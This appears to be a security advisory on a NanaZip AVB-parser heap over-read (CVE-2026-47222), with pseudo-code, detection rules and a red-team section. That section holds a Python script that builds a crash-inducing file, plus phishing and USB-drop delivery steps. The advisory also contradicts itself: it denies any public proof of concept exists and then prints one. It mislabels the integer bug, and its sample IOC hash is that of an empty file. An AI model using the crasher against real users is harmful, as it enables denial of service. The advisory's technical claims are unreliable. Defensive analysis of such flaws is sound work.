CVE-2026-47222

Executive Summary

CVE-2026-47222 is a heap out-of-bounds read vulnerability in NanaZip, a modern Windows archiving utility derived from 7-Zip. The flaw resides in the Android Verified Boot (AVB) vbmeta image parser (AvbHandler). An unsigned integer underflow in a bounds check allows an attacker-controlled value_num_bytes field to bypass validation. When AddNameToString processes the crafted field, it reads up to approximately 4 GiB past the end of a 64 KiB heap buffer, causing a deterministic crash (denial of service). The vulnerability affects versions from 3.0.1000.0 up to (but not including) 6.0.1698.0. The EPSS score is 0.0%, indicating no active exploitation in the wild, but the attack vector is local and requires user interaction (opening a malicious .avb or .img file). No public proof-of-concept or exploit code is available. The vendor has released patches in stable version 6.0.1698.0 and preview version 6.5.1742.0.

Supply Chain & Package Security

NanaZip is distributed as a Windows application via GitHub releases and the Microsoft Store. The vulnerable component (AvbHandler) originates from the upstream 7-Zip project. Users should verify the integrity of downloaded binaries using checksums provided by the vendor. The supply chain risk is moderate, as the vulnerability is introduced through a third-party library (7-Zip’s AVB parser). Organizations using NanaZip in automated workflows (e.g., CI/CD pipelines that process Android images) should prioritize patching.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

• Attack Vector (AV): Local (L) – The attacker must have local access to the system or trick the user into opening a malicious file.
• Attack Complexity (AC): Low (L) – No special conditions required beyond file opening.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the crafted file.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exfiltration.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The crash causes a denial of service.

Threat Level: Medium. The vulnerability is easy to exploit (low complexity, no privileges) but requires user interaction and only leads to a denial of service. No active exploitation has been observed.

Deep Dive & Mechanics

The vulnerability is a heap out-of-bounds read triggered by an unsigned integer underflow in the AVB vbmeta image parser. The AVB format uses a descriptor structure with a value_num_bytes field. In the vulnerable code, the parser performs a bounds check:

if (offset + value_num_bytes > buffer_size) {
    // error
}

However, value_num_bytes is an unsigned integer. If an attacker sets value_num_bytes to a value larger than buffer_size - offset, the subtraction buffer_size - offset can underflow (wrap around) if value_num_bytes is crafted to be extremely large (e.g., 0xFFFFFFFF). This causes the check to pass incorrectly.

After the flawed check, the function AddNameToString reads value_num_bytes bytes from the heap buffer. Since the buffer is only 64 KiB (65536 bytes), reading up to ~4 GiB past the end causes an access violation, crashing the application.

Root Cause: Unsigned integer underflow in the bounds check logic. The condition should use a safe comparison (e.g., value_num_bytes > buffer_size - offset) or ensure the subtraction does not wrap.

Attack Vector: The attacker crafts a malicious .avb or .img file with a manipulated value_num_bytes field. When the victim opens the file in NanaZip, the parser triggers the crash.

Vulnerable vs. Patched Code

Vulnerable Code (pseudo):

// AvbHandler.cpp (vulnerable)
bool ParseDescriptor(uint8_t* buffer, size_t buffer_size, size_t offset) {
    uint32_t value_num_bytes = ReadUint32(buffer + offset + 8);
    // BUG: Unsigned integer underflow possible
    if (offset + value_num_bytes > buffer_size) {
        return false; // fails incorrectly if value_num_bytes is huge
    }
    AddNameToString(buffer + offset + 12, value_num_bytes);
    return true;
}

Patched Code (pseudo):

// AvbHandler.cpp (patched)
bool ParseDescriptor(uint8_t* buffer, size_t buffer_size, size_t offset) {
    uint32_t value_num_bytes = ReadUint32(buffer + offset + 8);
    // FIX: Check for underflow by ensuring value_num_bytes is not too large
    if (value_num_bytes > buffer_size || offset > buffer_size - value_num_bytes) {
        return false;
    }
    AddNameToString(buffer + offset + 12, value_num_bytes);
    return true;
}

The patch adds a check that value_num_bytes is not larger than buffer_size and that offset + value_num_bytes does not overflow. This prevents the underflow condition.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• NanaZip version 3.0.1000.0 to 6.0.1698.0 (unpatched).
• Ability to craft a malicious .avb or .img file.

Steps:

1. Create a valid AVB vbmeta header with a descriptor containing a manipulated value_num_bytes field (e.g., 0xFFFFFFFF).
2. Ensure the file is small (e.g., 1 KB) to avoid suspicion.
3. Deliver the file via phishing email, USB drop, or other social engineering.
4. When the victim opens the file in NanaZip, the application crashes immediately.

Proof-of-Concept (Python):

import struct

def craft_malicious_avb():
    # Minimal AVB vbmeta header (20 bytes)
    header = b'\x41\x56\x42\x30'  # magic "AVB0"
    header += struct.pack('<I', 0x00010000)  # required_version
    header += struct.pack('<I', 0x00010000)  # avbtool_version
    header += struct.pack('<I', 0)  # release_string (offset)
    header += struct.pack('<I', 0)  # reserved

    # Descriptor: set value_num_bytes to 0xFFFFFFFF
    descriptor = b'\x00\x00\x00\x00'  # tag (0 = property)
    descriptor += struct.pack('<I', 0xFFFFFFFF)  # num_bytes_following (includes value_num_bytes)
    descriptor += struct.pack('<I', 0xFFFFFFFF)  # value_num_bytes (trigger)
    descriptor += b'A' * 16  # key (dummy)

    with open('malicious.avb', 'wb') as f:
        f.write(header)
        f.write(descriptor)

if __name__ == '__main__':
    craft_malicious_avb()

Expected Outcome: NanaZip crashes with an access violation when parsing the file.

Blue Team (Defense)

Detection:

• Monitor for crashes of NanaZip.exe with exception code 0xC0000005 (access violation).
• Use file scanning to detect crafted AVB files with abnormally large value_num_bytes fields.
• Enable Windows Application Event Logging to capture crash details.

Mitigation:

• Update NanaZip to version 6.0.1698.0 or later.
• Restrict execution of NanaZip in sensitive environments.
• Educate users not to open .avb or .img files from untrusted sources.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – actual hash depends on crafted file)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious.avb)
• File Names: malicious.avb, payload.img, vbmeta.img
• Process Anomalies: NanaZip.exe crash with exception code 0xC0000005 in AvbHandler.dll or 7z.dll.
• Registry Keys: None.
• Network Indicators: None (local file-based attack).

Detection Engineering

YARA Rule

rule CVE_2026_47222_AVB_Heap_OOB_Read {
    meta:
        description = "Detects malicious AVB files exploiting CVE-2026-47222"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-47222"
    strings:
        $magic = "AVB0"
        $large_value = { FF FF FF FF }  // 0xFFFFFFFF as value_num_bytes
    condition:
        $magic at 0 and $large_value in (20..filesize)
}

Sigma Rule

title: NanaZip Crash Due to CVE-2026-47222
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects NanaZip process crashes caused by heap out-of-bounds read in AVB parser
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 1000
        Provider_Name: "Application Error"
        Data: "NanaZip.exe"
        Data|contains: "0xc0000005"
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-47222 - Malicious AVB File Transfer"; flow:to_client; file_store; fileext:"avb"; content:"AVB0"; offset:0; depth:4; content:"|FF FF FF FF|"; within:100; distance:20; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update NanaZip to version 6.0.1698.0 (stable) or 6.5.1742.0 (preview).
2. If immediate update is not possible, block .avb and .img file extensions in email gateways and web proxies.
3. Disable NanaZip as the default handler for these file types.

Long-Term Measures:

• Implement file scanning for anomalous AVB headers in security tools.
• Conduct code review of upstream 7-Zip AVB parser for similar issues.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block Office apps from creating child processes.

Workarounds:

• Use alternative archiving tools (e.g., 7-Zip 24.09+ which includes the upstream fix).
• Restrict user permissions to prevent installation of vulnerable versions.

Valters IT
Securing Digital Frontiers